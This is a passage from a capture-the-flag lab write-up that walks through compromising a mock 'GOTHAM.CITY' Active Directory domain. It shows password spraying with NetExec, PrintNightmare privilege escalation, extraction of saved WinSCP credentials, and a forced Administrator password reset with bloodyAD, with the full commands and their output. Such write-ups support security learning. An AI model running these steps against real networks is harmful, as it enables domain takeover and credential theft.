SMB 192.168.56.20 445 DC01 [+] GOTHAM.CITY\harley.quinn:P@ssw0rd
And same concept again, I can RDP again but this time into SRV02
1
2
3
4
5
6
7
8
└─$ nxc rdp ip.txt -u 'harley.quinn' -p 'P@ssw0rd'
RDP 192.168.56.21 3389 SRV01 [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV01) (domain:GOTHAM.CITY) (nla:True)
RDP 192.168.56.20 3389 DC01 [*] Windows 10 or Windows Server 2016 Build 20348 (name:DC01) (domain:GOTHAM.CITY) (nla:True)
RDP 192.168.56.21 3389 SRV01 [+] GOTHAM.CITY\harley.quinn:P@ssw0rd
RDP 192.168.56.20 3389 DC01 [+] GOTHAM.CITY\harley.quinn:P@ssw0rd
RDP 192.168.56.22 3389 SRV02 [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV02) (domain:GOTHAM.CITY) (nla:True)
RDP 192.168.56.22 3389 SRV02 [+] GOTHAM.CITY\harley.quinn:P@ssw0rd (Pwn3d!)
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
Getting DA (flags 5th to 13th)
Compromising SRV02
I took a look around and I saw this:
Decrypting the password for authenticating as harvey.dent
on winscp
service would require decrypting the DPAPI blobs
which we can’t because we are not local admins or have these rights, it might be useful later.
I fired winpeas
again:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
TA0004 - Privilege Escalation
Point and Print configuration
Check whether the Print Spooler service is enabled and if the Point and Print configuration allows non‑administrator users to install printer drivers.
High
Policy : Limits print driver installation to Administrators
Key : HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint
Value : RestrictDriverInstallationToAdministrators
Data : 0
Default : 1
Expected : <null|1>
Description : Installing printer drivers does not require administrator privileges.
Policy : Point and Print Restrictions > NoWarningNoElevationOnInstall
If Point and Print is misconfigured, any domain user can abuse the RpcAddPrinterDriver
API to install a malicious driver the system. Since the Print Spooler runs as SYSTEM
, the payload executes with SYSTEM
privileges, giving local privilege escalation. And value of 0
means non-admin users can install drivers. It’s the old classic PrintNightmare exploit
There are 2 CVEs for this vulnerability:
CVE-2021–1675
which goal is RCE and LPECVE-2021–34527
for local privilege escalation (LPE)
I used a public exploit was released by John Hammond and it worked. Now
pix3l
is localadmin
on SRV02
Remember the winscp
? now we have local admin privs so we can extract the credentials from the registry, but upon searching for a way in when I first stumpled across this file I found that nxc again has a module for that:
1
2
3
4
5
6
7
8
9
10
└─$ nxc smb srv02.gotham.city -u 'pix3l' -p 'P@ssw0rd' --local-auth -M winscp
SMB 192.168.56.22 445 SRV02 [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:SRV02) (signing:False) (SMBv1:False)
SMB 192.168.56.22 445 SRV02 [+] SRV02\pix3l:P@ssw0rd (Pwn3d!)
WINSCP 192.168.56.22 445 SRV02 [*] Looking for WinSCP creds in Registry...
WINSCP 192.168.56.22 445 SRV02 [+] Found 1 sessions for user "harvey.dent" in registry!
WINSCP 192.168.56.22 445 SRV02 =======harvey.dent@coin.gotham.city=======
WINSCP 192.168.56.22 445 SRV02 HostName: coin.gotham.city
WINSCP 192.168.56.22 445 SRV02 UserName: harvey.dent
WINSCP 192.168.56.22 445 SRV02 Password: X76IAZS!j'Czu,
WINSCP 192.168.56.22 445 SRV02 [*] Looking for WinSCP creds in User documents and AppData...
Now we have access to harvey.dent
which holds multiple GenericWrite
privileges over various domain objects.
force reset pass over Adminstrator
:
1
2
3
4
5
6
└─$ bloodyAD -u 'harvey.dent' -p 'X76IAZS!j'\''Czu,' -d gotham.city --dc-ip 192.168.56.20 set password administrator 'IownYou'
[+] Password changed successfully!
└─$ nxc smb dc01.gotham.city -u administrator -p IownYou
SMB 192.168.56.20 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False)
SMB 192.168.56.20 445 DC01 [+] GOTHAM.CITY\administrator:IownYou (Pwn3d!)
We Got the DA!!
And that’s it? no taking over DC01?..
I got curios so I checked the intended approach in a public write-up:
At the CTF, the account harvey.dentThere was only a GenericAll right over the Backup Operators group. In this version, the account has a GenericAll on several critical objects in the domain. This unexpected elevation of privileges is probably due to a delegation inherited via the SD-HOLDER object, whose permissions have been propagated to other entities in the domain.
So harvey.dent
can add any domain user we control to Backup Operators
group. Once added, this user can backup SAM
, SYSTEM
and security
Registry Hives from the DC
to extract the Administrator
hash
Mission complete.. Joker would be proud
Happy pwning!!